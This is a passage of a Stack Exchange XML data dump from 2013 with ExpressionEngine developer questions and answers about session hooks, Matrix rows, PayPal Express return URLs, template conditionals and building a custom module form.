  <row Id="13403" PostTypeId="2" ParentId="13213" CreationDate="2013-09-02T23:18:03.330" Score="1" Body="&lt;p&gt;The way I read the documentation on session hooks, what you set in sessions_start gets overridden by the logged in users settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the documentation says exactly: &quot;Reset Session class variables, modify default/guest settings, take over whole session check, etc.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what you're saying, I think you need your code on the sessions_end hook. Doc: &quot;Modify the user’s session/member data, also allows for additional session or login methods (ex: log in to other system).&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting it on sessions_end, you will be able to overwrite the language variable, whether it's set from the logged in session or its the default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to documentation: &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2013-09-02T23:18:03.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13404" PostTypeId="1" CreationDate="2013-09-03T04:05:37.543" Score="1" ViewCount="439" Body="&lt;p&gt;I recently updated a site to EE v2.7 and also updated all of my third-party add-ons to the most recent versions. The site in question has several channels, and everything seems to be working fine until I try and publish/edit something in a channel that doesn't have a &quot;Matrix&quot; fieldtype associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Little to none of the JS seems to be working on the publish/edit form (e.g., the &quot;Entry Date&quot; calendar widget), and even odder, the contents of EE's file upload modal appear at the bottom of the screen -- even though the channel in question doesn't have a &quot;File&quot; fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried reinstalling Matrix files, clearing caches -- the usual thing. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2013-10-04T03:51:33.753" Title="Getting &quot;ReferenceError: Matrix is not defined&quot; error on channels that don't have Matrix fieldtypes" Tags="|ee2|matrix|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13405" PostTypeId="1" AcceptedAnswerId="13430" CreationDate="2013-09-03T05:21:43.750" Score="3" ViewCount="169" Body="&lt;p&gt;I want to have a radio button field where it acts as “is default” field for all my rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, across all the rows, only one radio button should be checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this type of radio button supported in Grid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at 2.5.5 and I am using Matrix/Playa. I am contemplating on upgrading to 2.7.0. If this type of field is supported, then I I think I will upgrade.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-09-10T20:20:37.937" Title="Radio Button across Grid Rows" Tags="|grid|2.7.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13406" PostTypeId="1" CreationDate="2013-09-03T06:53:35.650" Score="2" ViewCount="117" Body="&lt;p&gt;I created a module for GitHub's API and am having trouble preventing the module's function &lt;code&gt;{exp:cl_github:repo_contents_archive}&lt;/code&gt; from running given a conditional. The reason this is imperative is that the function actually sends a file to the browser (sets headers, echos, and dies).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}{redirect=&quot;member/login&quot;}{/if}&#xA;&#xA;{exp:channel:entries require_entry=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;    {addon_github}&#xA;        {exp:cl_github:repo_contents_archive &#xA;            owner=&quot;{owner}&quot; &#xA;            repo=&quot;{repo}&quot; &#xA;            ref=&quot;{ref}&quot;}&#xA;    {/addon_github}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a few things like putting &lt;code&gt;{if logged_out}limit=&quot;0&quot;{/if}&lt;/code&gt; in the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution I thought of was to pass into my &lt;code&gt;{exp:cl_github:repo_contents_archive}&lt;/code&gt; a parameter like &lt;code&gt;is_authenticated=&quot;{logged_in}&quot;&lt;/code&gt; but for some reason that wouldn't parse the value of {logged_in}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really want to hardcode checking for logged_in in the module itself. Can you guys/gals think of any other workaround or something I am missing?&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-10-03T18:51:33.563" Title="{if} conditional prevent running module function" Tags="|add-on-development|conditionals|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13407" PostTypeId="1" CreationDate="2013-09-03T07:09:10.687" Score="2" ViewCount="67" Body="&lt;p&gt;Overnight the following php error is being reported on our EE (2.6) site for pages requiring pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Pagination_object::$pager_sql&#xA;&#xA;Filename: ab_pagination/ext.ab_pagination.php&#xA;&#xA;Line Number: 159&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e.g. here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tutor2u.net/blog/index.php/business-studies/&quot; rel=&quot;nofollow&quot;&gt;http://www.tutor2u.net/blog/index.php/business-studies/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why + how to fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="27" LastEditDate="2013-09-03T11:06:10.853" LastActivityDate="2020-02-27T06:42:32.980" Title="Pagination error suddenly appearing" Tags="|pagination|ab-pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13408" PostTypeId="1" CreationDate="2013-09-03T07:39:45.887" Score="1" ViewCount="178" Body="&lt;p&gt;I've worked with CT previously but have never come across a scenario like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each product has a set of price modifiers in place - Base, Color + Finish, all good, working as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue comes when each item MAY have optional items, lets say &quot;a Gold Toggle&quot; or &quot;an Extended Pole&quot;. These additional items should be checkboxes so the user can choose if they want it added along with the primary product and options - the qty is always 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These items are added at entry creation time. Using Matrix for the ability to add 0 - 100 different 1-of options rather then setting up 100 fields in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can imagine this isn't working out well as the Matrix is treated like a singular item with multiple options. I have the fields displaying as checkboxes but only the last item is added to the cart as it's not an array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_wrapper}&#xA;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;item_options[matrix_name]&quot; value=&quot;{option_value}&quot; /&amp;gt; {option_label} / ${price}&amp;lt;/label&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/matrix_wrapper}&#xA;&#xA;// ^This works well on the front end BUT only records one item if multiple selected&#xA;// Same Thing with array&#xA;&#xA;{matrix_wrapper}&#xA;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;item_options[matrix_name][]&quot; value=&quot;{option_value}&quot; /&amp;gt; {option_label} / ${price}&amp;lt;/label&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/matrix_wrapper}&#xA;&#xA;//^ Records the items checked but no price&#xA;&#xA;{matrix_wrapper}&#xA;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;item_options[{row_id}][matrix_name]&quot; value=&quot;{option_value}&quot; /&amp;gt; {option_label} / ${price}&amp;lt;/label&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/matrix_wrapper}&#xA;&#xA;//^ Add Matrix {row_id} to item_options name, it records the items but again, no price&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I want is a series of fixed options with the added ability to include none or several yes/no checkbox options and have it added to the price and cart_items_info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE01&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Z5Vd1.jpg&quot; alt=&quot;Front End View&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vnPyG.jpg&quot; alt=&quot;Field Setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-09-04T00:31:45.430" LastActivityDate="2013-09-04T00:31:45.430" Title="Matrix of single choice options - cartthrob" Tags="|matrix|cartthrob|modifiers|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13409" PostTypeId="1" CreationDate="2013-09-03T09:49:09.960" Score="1" ViewCount="418" Body="&lt;p&gt;I'm getting invalid &lt;code&gt;ReturnURL&lt;/code&gt; error when trying to use PayPal Express. And I'm not seeing any options for setting the return url in the Store settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried setting the &lt;code&gt;return&lt;/code&gt; parameter in the checkout-tag, but it doesn't seem to help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout return=&quot;https://www.example.no&quot;}&#xA;{exp:store:checkout return=&quot;store/order/ORDER_HASH&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of the above works (the second one is the same as in the example template)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I think I found the problem. We use &lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot; rel=&quot;nofollow&quot;&gt;config-bootstrap&lt;/a&gt; in our EE, and there I've set up the site_url as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('NSM_SERVER_NAME', $_SERVER['SERVER_NAME']);&#xA;define('NSM_SITE_URL', '//' . NSM_SERVER_NAME);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is to make plugins like minimee work when we're on https and http. So the site url wil be spit out like //www.example.com, and this is the reason PayPal is getting angry at me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a way around it, though, but I'm not happy about it. In merchant_paypal_express.php in the &lt;code&gt;system/ee/third_party/&lt;/code&gt;-folder, I changed the &lt;code&gt;_build_authorize_or_purchase()&lt;/code&gt; method a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request['RETURNURL'] = 'https:' . $this-&amp;gt;param('return_url');&#xA;$request['CANCELURL'] = 'https:' . $this-&amp;gt;param('cancel_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, I added &lt;code&gt;https&lt;/code&gt; hardcoded to the url. But now it works.&lt;/p&gt;&#xA;" OwnerUserId="1990" LastEditorUserId="1990" LastEditDate="2013-09-04T09:15:11.590" LastActivityDate="2013-09-04T09:15:11.590" Title="exp:resso store paypal 'ReturnURL is invalid'" Tags="|expresso-store|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13410" PostTypeId="2" ParentId="13407" CreationDate="2013-09-03T10:21:14.917" Score="1" Body="&lt;p&gt;It looks as though the error is coming from the &lt;a href=&quot;http://devot-ee.com/add-ons/ab-pagination&quot; rel=&quot;nofollow&quot;&gt;AB Pagination&lt;/a&gt; add-on. Have you updated it recently?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why it's suddenly appearing, it's possible that the error may have always been there and it just wasn't shown. Maybe the server it's hosted on has had it's PHP &lt;code&gt;error_reporting&lt;/code&gt; settings changed in it's INI file to allow PHP Notices to be visible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://bncscripts.com/blog/149/how-to-hide-php-notice-warning-messages/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; tells you how you can turn errors and notices on/off in code. So you would put the code it suggests in the &lt;code&gt;ab_pagination/ext.ab_pagination.php&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, I'd suggest getting to the root of why the error is being caused in the first place, rather than putting a sticking plaster over it. I notice you've asked the question over at &lt;a href=&quot;https://getsatisfaction.com/addonbakery/topics/pagination_error_has_appeared&quot; rel=&quot;nofollow&quot;&gt;Addon Bakery&lt;/a&gt;, so hopefully the developer will give you a satisfactory answer.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-09-03T10:21:14.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13411" PostTypeId="1" AcceptedAnswerId="13432" CreationDate="2013-09-03T11:10:39.317" Score="5" ViewCount="740" Body="&lt;p&gt;I would like to wrap every 3 rows that the matrix fields output with some required html like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA; {my_matrix_field}&#xA; {if rows are: FIRST FOURTH SEVENTH etc}&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA; {/if}&#xA; &amp;lt;div class=&quot;span4&quot;&amp;gt;                   &#xA; &amp;lt;p&amp;gt;{text} &amp;lt;a href=&quot;{link}&quot; class=&quot;more&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; {if rows are THIRD SIXTH NINTH etc}&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- / row --&amp;gt;&#xA; {/if}&#xA; {/my_matrix_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="789" LastEditorUserId="789" LastEditDate="2013-09-03T11:27:30.457" LastActivityDate="2013-09-03T22:40:52.043" Title="Matrix rows: how to target every 3 rows" Tags="|matrix|fieldtype|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13412" PostTypeId="2" ParentId="13396" CreationDate="2013-09-03T12:21:10.950" Score="0" Body="&lt;p&gt;If you want to make your PHP variables available to the EECMS template language, make sure you set the PHP stage parsing to &lt;code&gt;input&lt;/code&gt;, so the PHP will be parsed before all the template stuff.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-03T12:21:10.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13413" PostTypeId="2" ParentId="13411" CreationDate="2013-09-03T12:21:36.770" Score="3" Body="&lt;p&gt;Unfortunately, I don't think this is supported natively (thought I would love to be shown otherwise!). The way I achieved this was to use the &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt; extension to calculate whether a row's count is divisible by 3 or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {matrix_test}&#xA;&#xA;        &amp;lt;span style=&quot;display: none;&quot;&amp;gt;&#xA;          {exp:mx_calc expression=&quot;mod({row_count}, 3)&quot;}&#xA;        &amp;lt;/span&amp;gt;&#xA;&#xA;            {if '{calc_result}' == '0'}&#xA;                divisible by 3: {number} &amp;lt;br /&amp;gt;&#xA;            {if:else}&#xA;                not divisible by 3: {number} &amp;lt;br /&amp;gt;&#xA;            {/if}&#xA;        {/exp:mx_calc}&#xA;    {/matrix_test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works and you can then customise every third row's outcome, but has a small inconvenience. When you use the exp:mx_calc opening tag to set the {calc_result} variable, it prints out the result of the expression. This prints out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 not divisible by 3: 1 &lt;br /&gt;&#xA;not divisible by 3: 2  &lt;br /&gt;&#xA;divisible by 3: 3  &lt;br /&gt;&#xA;not divisible by 3: 4  &lt;br /&gt;&#xA;not divisible by 3: 5  &lt;br /&gt;&#xA;divisible by 3: 6  &lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I can't use the mx_calc tag right in the conditional, due to parse order issues. The work around is to just wrap the mx_calc tag in a span and give it display: none;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I unfortunately skim read your question (which I know I shouldn't do) and I thought you were talking about Grid. In Grid, you can just have mx_calc right in the conditional, because it's not a third party add-on. Thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {test}&#xA;        {if '{exp:mx_calc expression=&quot;mod({test:count}, 3)&quot;}' == '0'}&#xA;            divisible by 3: {test:number} &amp;lt;br /&amp;gt;&#xA;        {if:else}&#xA;            not divisible by 3: {test:number} &amp;lt;br /&amp;gt;&#xA;        {/if}&#xA;    {/test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1970" LastActivityDate="2013-09-03T12:21:36.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13414" PostTypeId="2" ParentId="13409" CreationDate="2013-09-03T12:23:57.590" Score="1" Body="&lt;p&gt;Give your .htaccess file a check to see if there is anything in there which could interfere with the return path. If you're unsure then copy and paste it in to your question so we can give it a quick check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that try including a hidden field in between your checkout tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;http://domain.com/store/order/ORDER_HASH&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure the above is the correct return URL in full. Give that a try and see if it yields any different results so we have something to go on from there. Let me know how it goes.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-09-03T12:23:57.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13416" PostTypeId="2" ParentId="13406" CreationDate="2013-09-03T12:37:37.373" Score="2" Body="&lt;p&gt;If you look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;Template Parsing Order&lt;/a&gt;, you'll see that the redirect, stage 20, is parsed after the modules, stage 15. So, let's try to prevent the parsing of &lt;code&gt;exp:channel:entries&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought you could try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}{redirect=&quot;member/login&quot;}{/if}&#xA;&#xA;{if logged_in}&#xA;{exp:channel:entries require_entry=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;    {addon_github}&#xA;        {exp:cl_github:repo_contents_archive &#xA;            owner=&quot;{owner}&quot; &#xA;            repo=&quot;{repo}&quot; &#xA;            ref=&quot;{ref}&quot;}&#xA;    {/addon_github}&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, your tests proved that &lt;code&gt;{if logged_in}&lt;/code&gt; and &lt;code&gt;{if logged_out}&lt;/code&gt; are advanced conditionals. I didn't realize this until to read your comment. This makes a lot sense, since their parsing need to be done after the page caching, to avoid &lt;code&gt;logged_out&lt;/code&gt; users to see a &lt;code&gt;logged_in&lt;/code&gt; cached page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a way to use global variables, that make all conditionals to be advanced, on early parsing stages: using &lt;a href=&quot;https://github.com/croxton/Switchee/tree/develop&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;global:logged_in_member_id&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;0&quot;}&#xA;        {redirect=&quot;member/login&quot;}   &#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;        {exp:channel:entries require_entry=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;            {addon_github}&#xA;                {exp:cl_github:repo_contents_archive &#xA;                owner=&quot;{owner}&quot; &#xA;                repo=&quot;{repo}&quot; &#xA;                ref=&quot;{ref}&quot;}&#xA;            {/addon_github}&#xA;        {/exp:channel:entries}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The prefix &lt;code&gt;global:&lt;/code&gt; allow us to access the global variables that, otherwise, aren't available until the later stages of parsing.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-09-03T16:37:48.510" LastActivityDate="2013-09-03T16:37:48.510" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13417" PostTypeId="1" AcceptedAnswerId="13436" CreationDate="2013-09-03T14:30:47.980" Score="3" ViewCount="264" Body="&lt;p&gt;Below are the four required files to install a module that I created. They are all located within the '/third_party/database_add/' folder. &lt;strong&gt;My issue and my question is located after these files&lt;/strong&gt;, which I am including to show what I've done so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: database_add_lang.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location: /third_party/database_add/language/english/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = array(&#xA;'my_module_module_name'     =&amp;gt; 'Database_add',&#xA;'my_module_module_description'  =&amp;gt; 'Contains functionality to add a user to the user table',&#xA;''=&amp;gt;''&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File: mcp.database_add.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location: /third_party/database_add/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;    class Module_name_mcp {&#xA;    }&#xA;/* End of file mcp.module_name.php */&#xA;/* Location: ./system/expressionengine/third_party/database_add/mcp.database_add.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File: mod.database_add.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location: /third_party/database_add/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Database_add{&#xA;    var $return_data = '';&#xA;&#xA;    function register(){&#xA;        $username = &quot;john&quot;&#xA;        $passhash = &quot;smith&quot;&#xA;        $data = array(&#xA;            'User_Name'     =&amp;gt;$username,&#xA;            'User_Passhash' =&amp;gt;$passhash&#xA;        );&#xA;        $query = ee()-&amp;gt;db-&amp;gt;insert('exp_user', $data);&#xA;    }&#xA;&#xA;    function form(){&#xA;      $return_data = ee()-&amp;gt;functions-&amp;gt;form_declaration(array(&#xA;        'hidden_fields' =&amp;gt; array(&#xA;          'ACT' =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Database_add', 'register'),&#xA;        ),&#xA;      ));&#xA;&#xA;      $return_data .= ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;      $return_data .= '&amp;lt;/form&amp;gt;';&#xA;      return $return_data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File: upd.database_add.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location: /third_party/database_add/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Database_add_upd{&#xA;    var $version = '1.0';&#xA;&#xA;    function install(){&#xA;        $data = array(&#xA;            'module_name'       =&amp;gt; 'Database_add',&#xA;            'module_version'    =&amp;gt; $this-&amp;gt;version,&#xA;            'has_cp_backend'    =&amp;gt; 'n',&#xA;            'has_publish_fields'=&amp;gt; 'n'&#xA;        );&#xA;        ee()-&amp;gt;db-&amp;gt;insert('modules', $data);&#xA;&#xA;        $data = array(&#xA;            'class'     =&amp;gt; 'Database_add',&#xA;            'method'    =&amp;gt; 'add_user'&#xA;        );&#xA;        ee()-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;    }&#xA;&#xA;    function uninstall(){&#xA;        ee()-&amp;gt;load-&amp;gt;dbforge();&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;select('module_id');&#xA;        $query = ee()-&amp;gt;db-&amp;gt;get_where('modules', array('module_name' =&amp;gt; 'Database_add'));&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;where('module_id', $query-&amp;gt;row('module_id'));&#xA;        ee()-&amp;gt;db-&amp;gt;delete('module_member_groups');&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;where('module_name', 'Database_add');&#xA;        ee()-&amp;gt;db-&amp;gt;delete('modules');&#xA;&#xA;        ee()-&amp;gt;db-&amp;gt;where('class', 'Database_add');&#xA;        ee()-&amp;gt;db-&amp;gt;delete('actions');&#xA;&#xA;        return TRUE;&#xA;    }&#xA;&#xA;    function update($current = ''){&#xA;        return FALSE;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is my file structure. I followed &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this EllisLab tutorial&lt;/a&gt; to get this far. My front-end form code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:database_add:form}&#xA;    &amp;lt;input class=&quot;text_box&quot; type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; /&amp;gt;&#xA;    &amp;lt;input class=&quot;text_box&quot; type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit_button&quot; value=&quot;Register&quot; /&amp;gt;&#xA;{/exp:database_add:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above form is simplified of course. The form successfully renders as this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUNMG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now take a look at my register() function. No matter what I enter into the above form, I expect register() to fire, and the username &quot;john&quot; with the passhash &quot;smith&quot; to be entered into the &quot;exp_user&quot; table. That doesn't happen. The table remains empty. All that happens is my blank 'index.php' page loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is: How do I get the register() function to fire when I press the Submit button on the form?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditDate="2013-09-03T18:56:01.673" LastActivityDate="2013-09-04T12:25:02.870" Title="Via a module, how do I get a specific function to fire when I submit a form?" Tags="|module|forms|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13418" PostTypeId="2" ParentId="13411" CreationDate="2013-09-03T14:45:32.407" Score="2" Body="&lt;p&gt;Using the &lt;code&gt;switch=&quot;&quot;&lt;/code&gt; parameter may do what you need. This is untested but I don't see why it wouldn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch=&quot;||&amp;lt;div class='row'&amp;gt;&quot;}&#xA;{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;I adjusted the quotes in my code example based on Jean's comment below...&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-09-03T22:40:52.043" LastActivityDate="2013-09-03T22:40:52.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13419" PostTypeId="2" ParentId="13417" CreationDate="2013-09-03T14:46:22.777" Score="0" Body="&lt;p&gt;It looks like you'll need to also add the XID Hash into your form hidden input with the name &quot;XID&quot; as well for it to fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suspect that's the issue, but can we see what the rendered form in the front end looks like? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carl&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-09-03T14:46:22.777" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13420" PostTypeId="1" CreationDate="2013-09-03T14:53:42.447" Score="1" ViewCount="94" Body="&lt;p&gt;I am having some issues trying to pass checkout cart line items to PayPal Express as part of the checkout process. I tried editing the merchant_paypal_base.php file as instructed in the post &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1079/expresso-store-list-items-on-paypal&quot;&gt;Expresso Store: List items on PayPal&lt;/a&gt; but couldn't get it to work so reverted back to the original php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I enter the Control Panel as administrator and navigate to &lt;strong&gt;Store &gt; Settings &gt; Payment Methods&lt;/strong&gt; the screen refuses to load and instead offers this error message (URL redacted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Fatal error: Cannot redeclare class Merchant_paypal_base in 